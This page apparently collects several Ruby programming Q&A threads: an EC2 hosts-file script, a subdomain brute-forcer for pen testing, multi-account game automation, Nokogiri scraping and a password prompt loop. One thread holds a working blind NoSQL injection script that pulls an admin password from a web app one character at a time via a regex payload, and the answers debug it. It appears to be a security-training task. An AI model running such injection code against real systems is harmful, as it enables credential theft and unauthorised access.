Ruby: Parse API Response - ruby

I am trying to geht this script to run: http://dysinger.net/2008/10/13/using-amazon-ec2-metadata-as-a-simple-dns but dosnt work because it is using an old amazon sdk version, i rewrote it to use the new one:
#!/usr/bin/env ruby
require "rubygems"
require "aws-sdk"
%w(optparse rubygems aws-sdk resolv pp).each {|l| require l}
options = {}
parser = OptionParser.new do |p|
p.banner = "Usage: hosts [options]"
p.on("-a", "--access-key USER", "The user's AWS access key ID.") do |aki|
options[:access_key_id] = aki
end
p.on("-s",
"--secret-key PASSWORD",
"The user's AWS secret access key.") do |sak|
options[:secret_access_key] = sak
end
p.on_tail("-h", "--help", "Show this message") {
puts(p)
exit
}
p.parse!(ARGV) rescue puts(p)
end
if options.key?(:access_key_id) and options.key?(:secret_access_key)
puts "127.0.0.1 localhost"
AWS.config(options)
AWS::EC2.new(options)
answer = AWS::EC2::Client.new.describe_instances
answer.reservationSet.item.each do |r|
r.instancesSet.item.each do |i|
if i.instanceState.name =~ /running/
puts(Resolv::DNS.new.getaddress(i.privateDnsName).to_s +
" #{i.keyName}.ec2 #{i.keyName}")
end
end
end
else
puts(parser)
exit(1)
end
What this should do is outputing a new /etc/hosts file with my ec2 instances in it.
And i get a response =D, but answer is a hash and therefore i get the
error undefined method `reservationSet' for #<Hash:0x7f7573b27880>.
And this is my problem, since i dont know Ruby at all ( All I was doing was reading Amazon Documentation and playing around so i get an answer ). Somehow in the original example this seemed to work. I suppose that back then, the API did not return a hash, anyway...how can i iterate through a hash like above, to get this to work?

This code may help you:
answer = AWS::EC2::Client.new.describe_instances
reservations = answer[:reservation_set]
reservations.each do |reservation|
instances = reservation[:instances_set]
instances.each do |instance|
if instance[:instance_state][:name] == "running"
private_dns_name = instance[:private_dns_name]
key_name = instance[:key_name]
address = Resolv::DNS.new.getaddress(private_dns_name)
puts "{address} #{key_name}.ec2 #{key_name}"
end
end
end
Generally change your code from using methods with names e.g. item.fooBarBaz to using a hash e.g. item[:foo_bar_baz]
When you're learning Ruby the "pp" command is very useful for pretty-printing variables as you go, such as:
pp reservations
pp instances
pp private_dns_name

Related

unexpected keyword_end MongoDB Injection

im doing one of the tasks to retrieve more information from the NoSQL database using ruby .everytime i run the code im getting syntax error
require 'httparty'
URL="ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get("http://#{URL}/?
search=admin%27%20%26%26%20this.password.match(/#{str}/)%00")
return resp.body =~ />admin</
end
#puts check?("d").inspect
#puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a+('0'..'9').to_a+['-']
password = ""
While true
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password+c
if check?("^#{test}.*$")
password+=c
puts password
break
end
end
end
There is a typo while is a keyword and need to be written in downcase.
require 'httparty'
URL = "ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get(
"http://#{URL}/?search=admin%27%20%26%26%20this.password.match(/#{str}/)%00"
)
return resp.body =~ />admin</
end
# puts check?("d").inspect
# puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a + ('0'..'9').to_a + ['-']
password = ""
while true # `while` needs to be downcase
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password + c
if check?("^#{test}.*$")
password += c
puts password
break
end
end
end
Btw. proper indention and some white improves readability a lot.
Its an issue with httparty gem.
First, install the same. also I made some changes in code.
The code is running but still not getting the result.
I have made below changes :
require 'httparty'
URL=(URI.encode 'myurl')
def check?(str)
resp = HTTParty.get(URI.encode "http://myurl/?search=admin%27%20%26%26%20this.password.match(#/{str}/)%00")
return resp.body =~ />admin
puts check?("5").inspect
puts check?("aaa").inspect
It is recommended to use URI.encode function.
I still trying to get the desired output.
I hope I will get the result.
You can modify the script or let me know if you had success in running the script.

Increasing Ruby Resolv Speed

Im trying to build a sub-domain brute forcer for use with my clients - I work in security/pen testing.
Currently, I am able to get Resolv to look up around 70 hosts in 10 seconds, give or take and wanted to know if there was a way to get it to do more. I have seen alternative scripts out there, mainly Python based that can achieve far greater speeds than this. I don't know how to increase the number of requests Resolv makes in parallel, or if i should split the list up. Please note I have put Google's DNS servers in the sample code, but will be using internal ones for live usage.
My rough code for debugging this issue is:
require 'resolv'
def subdomains
puts "Subdomain enumeration beginning at #{Time.now.strftime("%H:%M:%S")}"
subs = []
domains = File.open("domains.txt", "r") #list of domain names line by line.
Resolv.new(:nameserver => ['8.8.8.8', '8.8.4.4'])
File.open("tiny.txt", "r").each_line do |subdomain|
subdomain.chomp!
domains.each do |d|
puts "Checking #{subdomain}.#{d}"
ip = Resolv.new.getaddress "#{subdomain}.#{d}" rescue ""
if ip != nil
subs << subdomain+"."+d << ip
end
end
end
test = subs.each_slice(4).to_a
test.each do |z|
if !z[1].nil? and !z[3].nil?
puts z[0] + "\t" + z[1] + "\t\t" + z[2] + "\t" + z[3]
end
end
puts "Finished at #{Time.now.strftime("%H:%M:%S")}"
end
subdomains
domains.txt is my list of client domain names, for example google.com, bbc.co.uk, apple.com and 'tiny.txt' is a list of potential subdomain names, for example ftp, www, dev, files, upload. Resolv will then lookup files.bbc.co.uk for example and let me know if it exists.
One thing is you are creating a new Resolv instance with the Google nameservers, but never using it; you create a brand new Resolv instance to do the getaddress call, so that instance is probably using some default nameservers and not the Google ones. You could change the code to something like this:
resolv = Resolv.new(:nameserver => ['8.8.8.8', '8.8.4.4'])
# ...
ip = resolv.getaddress "#{subdomain}.#{d}" rescue ""
In addition, I suggest using the File.readlines method to simplify your code:
domains = File.readlines("domains.txt").map(&:chomp)
subdomains = File.readlines("tiny.txt").map(&:chomp)
Also, you're rescuing the bad ip and setting it to the empty string, but then in the next line you test for not nil, so all results should pass, and I don't think that's what you want.
I've refactored your code, but not tested it. Here is what I came up with, and may be clearer:
def subdomains
puts "Subdomain enumeration beginning at #{Time.now.strftime("%H:%M:%S")}"
domains = File.readlines("domains.txt").map(&:chomp)
subdomains = File.readlines("tiny.txt").map(&:chomp)
resolv = Resolv.new(:nameserver => ['8.8.8.8', '8.8.4.4'])
valid_subdomains = subdomains.each_with_object([]) do |subdomain, valid_subdomains|
domains.each do |domain|
combined_name = "#{subdomain}.#{domain}"
puts "Checking #{combined_name}"
ip = resolv.getaddress(combined_name) rescue nil
valid_subdomains << "#{combined_name}#{ip}" if ip
end
end
valid_subdomains.each_slice(4).each do |z|
if z[1] && z[3]
puts "#{z[0]}\t#{z[1]}\t\t#{z[2]}\t#{z[3]}"
end
end
puts "Finished at #{Time.now.strftime("%H:%M:%S")}"
end
Also, you might want to check out the dnsruby gem (https://github.com/alexdalitz/dnsruby). It might do what you want to do better than Resolv.
[Note: I've rewritten the code so that it fetches the IP addresses in chunks. Please see https://gist.github.com/keithrbennett/3cf0be2a1100a46314f662aea9b368ed. You can modify the RESOLVE_CHUNK_SIZE constant to balance performance with resource load.]
I've rewritten this code using the dnsruby gem (written mainly by Alex Dalitz in the UK, and contributed to by myself and others). This version uses asynchronous message processing so that all requests are being processed pretty much simultaneously. I've posted a gist at https://gist.github.com/keithrbennett/3cf0be2a1100a46314f662aea9b368ed but will also post the code here.
Note that since you are new to Ruby, there are lots of things in the code that might be instructive to you, such as method organization, use of Enumerable methods (e.g. the amazing 'partition' method), the Struct class, rescuing a specific Exception class, %w, and Benchmark.
NOTE: LOOKS LIKE STACK OVERFLOW ENFORCES A MAXIMUM MESSAGE SIZE, SO THIS CODE IS TRUNCATED. GO TO THE GIST IN THE LINK ABOVE FOR THE COMPLETE CODE.
#!/usr/bin/env ruby
# Takes a list of subdomain prefixes (e.g. %w(ftp xyz)) and a list of domains (e.g. %w(nytimes.com afp.com)),
# creates the subdomains combining them, fetches their IP addresses (or nil if not found).
require 'dnsruby'
require 'awesome_print'
RESOLVER = Dnsruby::Resolver.new(:nameserver => %w(8.8.8.8 8.8.4.4))
# Experiment with this to get fast throughput but not overload the dnsruby async mechanism:
RESOLVE_CHUNK_SIZE = 50
IpEntry = Struct.new(:name, :ip) do
def to_s
"#{name}: #{ip ? ip : '(nil)'}"
end
end
def assemble_subdomains(subdomain_prefixes, domains)
domains.each_with_object([]) do |domain, subdomains|
subdomain_prefixes.each do |prefix|
subdomains << "#{prefix}.#{domain}"
end
end
end
def create_query_message(name)
Dnsruby::Message.new(name, 'A')
end
def parse_response_for_address(response)
begin
a_answer = response.answer.detect { |a| a.type == 'A' }
a_answer ? a_answer.rdata.to_s : nil
rescue Dnsruby::NXDomain
return nil
end
end
def get_ip_entries(names)
queue = Queue.new
names.each do |name|
query_message = create_query_message(name)
RESOLVER.send_async(query_message, queue, name)
end
# Note: although map is used here, the record in the output array will not necessarily correspond
# to the record in the input array, since the order of the messages returned is not guaranteed.
# This is indicated by the lack of block variable specified (normally w/map you would use the element).
# That should not matter to us though.
names.map do
_id, result, error = queue.pop
name = _id
case error
when Dnsruby::NXDomain
IpEntry.new(name, nil)
when NilClass
ip = parse_response_for_address(result)
IpEntry.new(name, ip)
else
raise error
end
end
end
def main
# domains = File.readlines("domains.txt").map(&:chomp)
domains = %w(nytimes.com afp.com cnn.com bbc.com)
# subdomain_prefixes = File.readlines("subdomain_prefixes.txt").map(&:chomp)
subdomain_prefixes = %w(www xyz)
subdomains = assemble_subdomains(subdomain_prefixes, domains)
start_time = Time.now
ip_entries = subdomains.each_slice(RESOLVE_CHUNK_SIZE).each_with_object([]) do |ip_entries_chunk, results|
results.concat get_ip_entries(ip_entries_chunk)
end
duration = Time.now - start_time
found, not_found = ip_entries.partition { |entry| entry.ip }
puts "\nFound:\n\n"; puts found.map(&:to_s); puts "\n\n"
puts "Not Found:\n\n"; puts not_found.map(&:to_s); puts "\n\n"
stats = {
duration: duration,
domain_count: ip_entries.size,
found_count: found.size,
not_found_count: not_found.size,
}
ap stats
end
main

loop through json array and retrieve one attribute, gives errors also

i am new to programming in ruby, and i am trying to get the value of json['earning_rate_hr'] but i get an error, in '[]': no implicit conversion of String into Integer (TypeError)
i know and i understand the error, however this is not my main question here is my file :
checkingchecker.rb :
#require_relative '../lib/hackex/net/typhoeus'
require_relative '../lib/hackex'
require 'rubygems'
require 'json'
file = 'accounts1.txt'
f = File.open file, 'r'
puts "MADE BY THE PEOPLE, FOR THE PEOPLE #madebylorax"
puts ""
puts "--------------------------------------------------------"
puts ""
while line = f.gets
line = line.chomp.split(';')
email, password = line
puts "logging in as " + email
HackEx.LoginDo(email, password) do |http, auth_token, user|
puts "getting info..."
user = HackEx::Request.Do(http, HackEx::Request.UserInfo(auth_token))['user']
puts "receieved user info!"
bank = HackEx::Request.Do(http, HackEx::Request.UserBank(auth_token))['user_bank']
puts "recieved bank info!"
json = HackEx::Request.Do(http, HackEx::Request.UserSpam(auth_token))['spam']
puts "recieved spam info!"
puts json['earning_rate_hr'] #error line, the error is because this is an array, and it cant be turned into integer, i was wondering if there is a way to use puts on it without trying to make it an integer
userchecking = bank["checking"]
checking = userchecking.scan(/.{1,3}/).join(',')
puts email + " has in Checking: BTC #{checking}"
puts ""
puts "--------------------------------------------------------"
puts ""
end
end
i tried to do puts json, it puts items like this one :
{"id"=>"9867351", "user_id"=>"289108", "victim_user_id"=>"1512021",
"victim_ip"=
"86.60.226.175", "spam_level"=>"50", "earning_rate_hr"=>"24300", "total_earning s"=>"13267800", "started_at"=>"2015-11-01 07:46:59",
"last_collected_at"=>"2015- 11-24 01:46:59"}
what i want to do is select the earning_rate_hr for each one of them and add them together, however i do not have a clue on how to do that, since the error is not fixed and i cant get the value of it
ps : i tried turning it into a Hash, and i also tried using .first, but .first only shows the firs one, i want to show all of them, thank you
I know you from line messenger, I haven't used ruby codes in a long time and this one keeps giving me cloudflare errors, I'm not sure if its because of server downtime/maintainance or whatever but yeah anyway heres your script, enjoy farming ;) -LineOne
PS, I changed a few strings to make it look a lil cleaner so you can see the spam income easier, and added the sleep (1) because sleeping for one second before reconnecting helps to prevent cloudflare errors
also you don't need to require json or rubygems in your hackex scripts because its required in the library so its all covered pre-user-input/script
require_relative 'libv5/lib/hackex'
while 1<2
begin
print'Filename: '
fn=gets.chomp
file = fn+'.txt'
f = File.open file, 'r'
puts "MADE BY THE PEOPLE, FOR THE PEOPLE #madebylorax" #helped by lineone
puts ""
puts "--------------------------------------------------------"
puts ""
while line = f.gets
line = line.chomp.split(';')
email, password = line
HackEx.LoginDo(email, password) do |http, auth_token, user|
puts "Retrieving Info..."
puts''
user = HackEx::Request.Do(http, HackEx::Request.UserInfo(auth_token))['user']
bank = HackEx::Request.Do(http, HackEx::Request.UserBank(auth_token))['user_bank']
json = HackEx::Request.Do(http, HackEx::Request.UserSpam(auth_token))['spam']
cash_count=0
tot_count=0
json.each do |j|
earn_rate = j['earning_rate_hr']
total= j['total_earnings']
cash_count+=earn_rate.to_i
tot_count+=total.to_i
end
print "#{email}: current earnings: #{cash_count} per hour, Total earnings #{tot_count},"
userchecking = bank["checking"]
checking = userchecking.scan(/.{1,3}/).join(',')
puts " #{checking} BTC in Checking"
puts ""
puts "--------------------------------------------------------"
puts ""
sleep 1
end
end
rescue
puts"#{$!}"
end
end
Thats fine you can also calculate the total income of your farms by adding new variables at the top example a=0 then adding the number at the end a+=tot_count
This should help:
earning_rates = json.map{|e| e["earning_rate_hr"]}
puts "Earning rates per hour: #{earning_rates.join(" ")}"
puts "Sum of earning rates: #{earning_rates.map{|e| e.to_i}.inject{|sum, x| sum + x}}"

Structuring Nokogiri output without HTML tags

I got Ruby to travel to a web site, iterate through a list of campaigns and scrape the pages for specific data. The problem I have now is getting it from the structure Nokogiri gives me, and outputting it into a readable form.
campaign_list = Array.new
campaign_list.push(1042360, 1042386, 1042365, 992307)
browser = Watir::Browser.new :chrome
browser.goto '<redacted>'
browser.text_field(:id => 'email').set '<redacted>'
browser.text_field(:id => 'password').set '<redacted>'
browser.send_keys :enter
file = File.new('hourlysales.csv', 'w')
data = {}
campaign_list.each do |campaign|
browser.goto "<redacted>"
if browser.text.include? "Application Error"
puts "Error loading page, I recommend restarting script"
# Possibly automatic restart of script
else
hourly_data = Nokogiri::HTML.parse(browser.html).text
# file.write data
puts hourly_data
end
This is the output I get:
{"views":[[17,145],[18,165],[19,99],[20,71],[21,31],[22,26],[23,10],[0,15],[1,1], [2,18],[3,19],[4,35],[5,47],[6,44],[7,67],[8,179],[9,141],[10,112],[11,95],[12,46],[13,82],[14,79],[15,70],[16,103]],"orders":[[17,10],[18,9],[19,5],[20,1],[21,1],[22,0],[23,0],[0,1],[1,0],[2,1],[3,0],[4,1],[5,2],[6,1],[7,5],[8,11],[9,6],[10,5],[11,3],[12,1],[13,2],[14,4],[15,6],[16,7]],"conversion_rates":[0.06870229007633588,0.05442176870748299,0.050505050505050504,0.014084507042253521,0.03225806451612903,0.0,0.0,0.06666666666666667,0.0,0.05555555555555555,0.0,0.02857142857142857,0.0425531914893617,0.022727272727272728,0.07462686567164178,0.06134969325153374,0.0425531914893617,0.044642857142857144,0.031578947368421054,0.021739130434782608,0.024390243902439025,0.05063291139240506,0.08571428571428572,0.06741573033707865]}
The arrays stand for { views [[hour, # of views], [hour, # of views], etc. }. Same with orders. I don't need conversion rates.
I also need to add the values up for each key, so after doing this for 5 pages, I have one key for each hour of the day, and the total number of views for that hour. I tried a couple each loops, but couldn't make any progress.
I appreciate any help you guys can give me.
It looks like the output (which from your code I assume is the content of hourly_data) is JSON. In that case, it's easy to parse and add up the numbers. Something like this:
require "json" # at the top of your script
# ...
def sum_hours_values(data, hours_values=nil)
# Start with an empty hash that automatically initializes missing keys to `0`
hours_values ||= Hash.new {|hsh,hour| hsh[hour] = 0 }
# Iterate through the [hour, value] arrays, adding `value` to the running
# count for that `hour`, and return `hours_values`
data.each_with_object(hours_values) do |(hour, value), hsh|
hsh[hour] += value
end
end
# ... Watir/Nokogiri stuff here...
# Initialize these so they persist outside the loop
hours_views, orders_views = nil
campaign_list.each do |campaign|
browser.goto "<redacted>"
if browser.text.include? "Application Error"
# ...
else
# ...
hourly_data_parsed = JSON.parse(hourly_data)
hours_views = sum_hours_values(hourly_data_parsed["views"], hours_views)
hours_orders = sum_hours_values(hourly_data_parsed["orders"], orders_views)
end
end
puts "Views by hour:"
puts hours_views.sort.map {|hour_views| "%2i\t%4i" % hour_views }
puts "Orders by hour:"
puts hours_orders.sort.map {|hour_orders| "%2i\t%4i" % hour_orders }
P.S. There's a really nice recursive version of sum_hours_values I didn't include since the iterative version is clearer to most Ruby programmers. If you're into recursion I leave it as an exercise for you. ;)

Recursive loop for password checking in Ruby

OK, I am trying to write a simple object that will contain two strings, one a "user password" and one a "target password," this would be needed if you wanted to script a password change on a remote server using sudo (the first password would be to perform the sudo command, the "target password" would be the string to which the password should be reset.
I want the user to be prompted once for the first password, and then the user will have five tries to enter a second password string and repeat it accurately. What I came up with, the code below, does not seem to work. Any ideas?
require 'pp'
require 'RubyGems'
require 'highline/import' #gem install highline
class Authorization
attr_reader :user_password , :target_password
pass_code = lambda {
first_attempt = ask("Enter target password: "){ |q| q.echo = '*' }
second_attempt = ask("Re-enter password to verify"){ |q| q.echo = '*'}
}
### So we need some sort of recursive loop
def initialize(target_pass=false)
#user_password = ask("Enter your admin password: ") { |q| q.echo = '*' }
if target_pass
count = 1
while n < 6
pass_code
if first_attempt == second_attempt
#target_password = first_attempt
return
else
count += 1
end
end
end
end
end
my_pass = Authorization.new(true)
pp "pass" , my_pass
I see several problems
It's require "rubygems" (not RubyGems)
Also, if using Ruby 1.9, loading rubygems isn't necessary.
The lambda has locally scoped variables assigned that aren't available in the constructor
The lambda definition itself is out of scope for access anyway
The loop never terminates (btw, this isn't recursion).
Try something like this instead.
require "highline/import"
class Authorization
attr_accessor :user_password, :target_password
def prompt(prompt_for_target = false)
self.user_password = ask_for_password("Enter your admin password")
return unless prompt_for_target
5.times do
password = ask_for_password("Enter target password")
confirmation = ask_for_password("Re-enter password to verify")
if password == confirmation
self.target_password = password
return
end
end
end
private
def ask_for_password(message)
ask("#{message}: ") { |q| q.echo = '*' }
end
end
auth = Authorization.new
auth.prompt(true)
puts auth.user_password
puts auth.target_password
Pretty straightforward and similar to Ryan's solution:
require 'highline/import' #gem install highline
class Authorization
attr_reader :admin_password, :target_password
def initialize
#admin_password = ask_for_password("Enter your admin password: ")
5.times do
#target_password = ask_for_password("Enter target password: ")
verify_target_pass = ask_for_password("Re-enter password to verify: ")
break if #target_password == verify_target_pass
#target_password = nil
end
end
private
def ask_for_password(message)
ask(message) {|q| q.echo = "*"}
end
end
my_pass = Authorization.new
puts "Administrator's password is: #{my_pass.admin_password}"
puts "Target password is: #{my_pass.target_password}"
First, thank you all for your answers. This was my first question, and, unfortunately, came out a little garbled, but all of you seemed to understand it really well.
IMHO, what I was trying to do recursion, but I am not sure that this is the best place for that discussion.
I am using Ruby 1.8.7, which I probably should have mentioned at the beginning of the post. Ryan's solution worked, but only when I took out the references to "self" and substituted in the instance variable:
#user_password = ask_for_password("Enter your admin password") #instead of
self.user_password = ask_for_password("Enter your admin password")
this might not be necessary for Ruby 1.9, but it does have the advantage of making prostosuper's almost identical to Ryan's.
Once again, thank you all! This has been a great "getting my feet wet" experience.
First, this isn't recursion. This is iteration. A recursive function would call itself again:
def factorial(n)
if (n == 0)
1
else
n * factorial(n-1)
end
end
Now, for the specific problem you've got; you are trying to loop with the condition:
while n < 6
But note that in the body of your loop, you're doing nothing to change the value of n. So your loop cannot terminate. (Further, since you've forgotten to assign a value to n in the first place, it probably cannot start, either. :)

Resources